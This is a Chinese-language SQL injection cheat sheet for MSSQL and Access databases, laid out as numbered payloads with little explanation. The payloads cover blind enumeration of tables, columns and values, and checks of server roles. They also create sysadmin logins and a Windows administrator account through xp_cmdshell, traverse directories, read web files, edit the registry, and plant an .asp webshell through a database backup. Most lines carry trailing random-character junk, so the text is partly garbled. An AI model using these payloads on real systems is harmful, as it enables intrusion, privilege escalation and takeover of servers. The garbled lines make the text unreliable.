1.判断是否有注入;and 1=1 ;and 1=2 )l"py9STF
2.初步判断是否是mssql ;and user>0 NE2P
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3.注入参数是字符'and [查询条件] and ''=' jxNnrIA
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' ]Geg;[t
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5.判断数据库系统 ;dE'# Kb
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;and (select count(*) from sysobjects)>0 mssql sAfNu~d
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;and (select count(*) from msysobjects)>0 access kB $?A8Olu
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 t*{BN>B
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 `hE@S |4
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 pLea 4
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9.(1)猜字段的ascii值(access) Y5?OJO{h"
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 &'d3Yt
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(2)猜字段的ascii值(mssql) k9vzxZ%s:
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 !,zRg5Wp4
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10.测试权限结构(mssql) N=@Nn)
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- Q%
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- OX[pK_:`l
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- }hyl)?*~
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- o/5loV3h
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- TZYz`l+v
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- <b$.{&K
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;and 1=(select IS_MEMBER('db_owner'));-- \:@yfI@
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11.添加mssql和系统的帐户 $Y9Wzv3Ra
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;exec master.dbo.sp_addlogin username;-- (n0h#%
;exec master.dbo.sp_password null,username,password;-- mcqLN5
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- /Dk`vn2 eN
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;exec master.dbo.xp_cmdshell 'net user username password bL9vjD'}
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- *Y/}EX!F
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- TM2pE/P
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- E[2>je
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;create table dirs(paths varchar(100), id int) O{w'i|
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;insert dirs exec master.dbo.xp_dirtree 'c:\' q6a7o=BP]
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;and (select top 1 paths from dirs)>0 PG*:3![2
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 5w#7B
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(2)遍历目录 CE;J`;
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- vS'l@`Eg]
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 g;To}0H
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ! uX0G4
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 \6WVs>z
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 V4>qR{5
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13.mssql中的存储过程 K 0Gm ?(
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xp_regenumvalues 注册表根键, 子键 l`k""f69W
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 7x5wT ?2W
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xp_regread 根键,子键,键值名 )g
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 TcKt
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xp_regwrite 根键,子键, 值名, 值类型, 值 >pRC$'Usx
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 )p!.V(,
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xp_regdeletevalue 根键,子键,值名 G%FLt[
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 /(jG9RM
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 u}QcyG^
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14.mssql的backup创建webshell pr?k~Bn
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create table cmd(str image); "J"RH:$v
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insert into cmd(str) values (''); f[fH1cu&`
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backup database model to disk='c:\l.asp'; ,Z$!:U
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15.mssql内置函数 =)YDjd_=z
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;and (select @@version)>0 获得Windows的版本号 V:<Z
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa 9!?Ywc>0#
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;and (select user_name())>0 爆当前系统的连接用户 iBh.&K{j
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;and (select db_name())>0 得到当前连接的数据库 u2
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16.简洁的webshell ~+S,`8-P
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create table cmd(str image); Oj8xc!d'
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insert into cmd(str) values (''); q#PMQR"C
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backup database model to disk='g:\wwwtest\l.asp';